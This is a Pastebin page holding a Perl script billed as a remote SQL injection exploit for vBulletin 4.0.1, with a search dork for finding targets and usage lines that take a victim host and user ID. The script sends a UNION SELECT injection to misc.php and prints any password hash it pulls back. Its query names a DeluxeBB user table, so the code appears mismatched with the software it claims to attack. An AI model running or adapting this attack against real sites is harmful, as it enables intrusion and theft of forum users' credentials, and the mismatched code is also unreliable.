Advertisement
Khariwalkaz

Exploit vbb 4.0.x bằng perl

Mar 19th, 2016
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.49 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4. print q{
  5. #######################################################################
  6. # vBulletin? Version 4.0.1 Remote SQL Injection Exploit #
  7. # By th3.g4m3_0v3r #
  8. # our Site www.h4ck3r.in #
  9. # www.hackingcrackingtricks.blogspot.com #
  10. # Indian (th3.g4m3_0v3r@yahoo.com) #
  11. # Dork: Powered by vBulletin? Version 4.0.1 #
  12.  
  13. #######################################################################
  14. };
  15. if (!$ARGV[2]) {
  16. print q{
  17. Usage: perl VB4.0.1.pl host /directory/ victim_userid
  18.  
  19. perl VB4.0.1.pl www.vb.com /forum/ 1
  20.  
  21. };
  22. }
  23.  
  24.  
  25. $server = $ARGV[0];
  26. $dir = $ARGV[1];
  27. $user = $ARGV[2];
  28. $myuser = $ARGV[3];
  29. $mypass = $ARGV[4];
  30. $myid = $ARGV[5];
  31. print "------------------------------------------------------------------------------------------------\r\n";
  32. print "[>] SERVER: $server\r\n";
  33. print "[>] DIR: $dir\r\n";
  34. print "[>] USERID: $user\r\n";
  35. print "------------------------------------------------------------------------------------------------\r\n\r\n";
  36.  
  37. $server =~ s/(http:\/\/)//eg;
  38.  
  39. $path = $dir;
  40. $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ? ?,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
  41.  
  42. print "[~] PREPARE TO CONNECT...\r\n";
  43.  
  44. $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
  45. print "[+] CONNECTED\r\n";
  46. print "[~] SENDING QUERY...\r\n";
  47. print $socket "GET $path HTTP/1.1\r\n";
  48. print $socket "Host: $server\r\n";
  49. print $socket "Accept: */*\r\n";
  50. print $socket "Connection: close\r\n\r\n";
  51. print "[+] DONE!\r\n\r\n";
  52.  
  53.  
  54. print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
  55. while ($answer = <$socket>)
  56. {
  57. if ($answer =~/(\w{32})/)
  58. {
  59.  
  60. if ($1 ne 0) {
  61. print "Password is: ".$1."\r\n";
  62. print "--------------------------------------------------------------------------------------\r\n";
  63.  
  64. }
  65. exit();
  66. }
  67. }
  68. print "------------------------------------------------------------------------------------------------\r\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement